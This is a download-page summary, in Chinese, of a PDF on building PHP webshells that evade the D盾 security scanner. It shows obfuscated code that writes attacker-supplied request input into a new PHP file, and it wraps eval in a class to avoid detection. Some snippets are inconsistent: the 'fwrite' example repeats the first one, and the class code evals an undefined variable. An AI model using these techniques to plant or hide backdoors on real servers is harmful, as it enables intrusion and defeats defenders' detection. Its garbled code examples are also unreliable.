PHP小马免杀技巧:绕过D盾解析

需积分: 0 6 下载量 87 浏览量 更新于2024-08-05 收藏 3.01MB PDF 举报
"PHP小马免杀的浅谈[过最新D盾]1" 本文主要讨论的是如何在PHP环境中创建和执行免杀(即避免安全检测工具检测)的小马(恶意代码),特别是针对最新版本的D盾防御系统。作者分享了两种主要的绕过策略。 策略一:利用写文件函数生成并包含PHP文件 1. **File_put_contents** 方法:通过File_put_contents函数将接收到的数据写入一个新的PHP文件,然后通过include或require将其执行。然而,即使这样,D盾仍然可以检测到。对于PHP7.0以上版本,可以尝试其他方法来绕过检测。例如,使用GET参数传递数据,虽然测试时更直观,但实际操作中应改为POST方式以增加隐蔽性。 ```php <?php // ... (~urldecode("%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C"))('oagi.php','<?php'.$_GET[a]); // ... ?> ``` 2. **fwrite** 函数:与File_put_contents类似,fwrite也可以用来写文件。下面的例子展示了如何使用fwrite实现同样的目的,同样可以成功绕过D盾的检测。 ```php <?php // ... (~urldecode("%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C"))('oagi.php','<?php'.$_POST[a]); // ... ?> ``` 策略二:防止被识别为可疑的eval函数 eval函数通常被视为潜在的安全风险,因此D盾可能会检测到它。为了解决这个问题,可以采取以下方法: 1. **使用类包装eval**:不在函数内部或者直接裸露使用eval,而是创建一个类,并在类的方法中执行eval。这样可以降低被识别为可疑eval的风险。 ```php <?php // ... class a { public $command_; public function b($command) { // ... eval($command_); } } // ... ?> ``` 通过这些方法,可以在一定程度上避免安全防护工具对PHP小马的检测。然而,值得注意的是,这样的实践可能违反安全政策,且在生产环境中应避免使用,因为它们可能被恶意利用。在进行渗透测试或漏洞研究时,务必确保遵循道德和法律规定,尊重目标系统的安全策略。